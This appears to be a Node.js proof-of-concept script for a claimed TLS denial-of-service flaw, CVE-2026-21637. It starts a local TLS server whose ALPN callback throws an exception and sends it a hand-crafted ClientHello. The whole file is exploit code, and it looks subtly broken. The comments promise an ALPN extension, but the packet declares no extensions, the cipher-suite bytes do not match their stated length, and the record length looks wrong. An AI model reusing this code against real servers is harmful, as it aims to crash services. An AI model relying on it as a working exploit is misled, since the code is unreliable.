const tls = require('tls');
const net = require('net');
// PoC for CVE-2026-21637: Node.js TLS callback DoS
// This PoC demonstrates triggering the vulnerability via ALPN callback
const options = {
key: require('fs').readFileSync('server-key.pem'),
cert: require('fs').readFileSync('server-cert.pem'),
// Vulnerable: ALPN callback that throws synchronous exception
alpnProtocols: ['http/1.1', 'h2'],
// pskCallback can also trigger the vulnerability
// pskCallback: (hint) => { throw new Error('Trigger DoS'); }
};
// Malicious ALPN callback that throws exception
options.alpnCallback = (protocols, cb) => {
// Synchronous exception that bypasses error handling
throw new Error('ALPN Callback Exception - Triggering CVE-2026-21637');
};
const server = tls.createServer(options, (socket) => {
console.log('Client connected');
});
server.listen(8443, () => {
console.log('Server listening on port 8443');
// Attacker connects and sends malicious TLS ClientHello
const client = net.connect(8443, '127.0.0.1', () => {
// Craft malicious TLS ClientHello with ALPN extension
const maliciousClientHello = Buffer.from([
0x16, 0x03, 0x01, 0x00, 0x51, // TLS Handshake record
0x01, 0x00, 0x00, 0x4d, // ClientHello
0x03, 0x03, // TLS 1.2
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Random
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, // Session ID length
0x00, 0x20, // Cipher suites length (32 bytes)
0xc0, 0x2c, 0xc0, 0x2b, 0xc0, 0x30, 0xc0, 0x2f,
0x00, 0x9d, 0x00, 0x9e, 0x00, 0x6b, 0x00, 0x6c,
0x00, 0x67, 0x00, 0x40, 0x00, 0x38, 0x00, 0x32,
0x00, 0x13, 0x00, 0x04, // Compression methods
0x00, 0x00, // Extensions length
]);
client.write(maliciousClientHello);
console.log('Malicious ClientHello sent');
});
client.on('error', (err) => {
console.log('Client error:', err.message);
});
});
server.on('error', (err) => {
console.log('Server will crash due to uncaught exception in ALPN callback');
});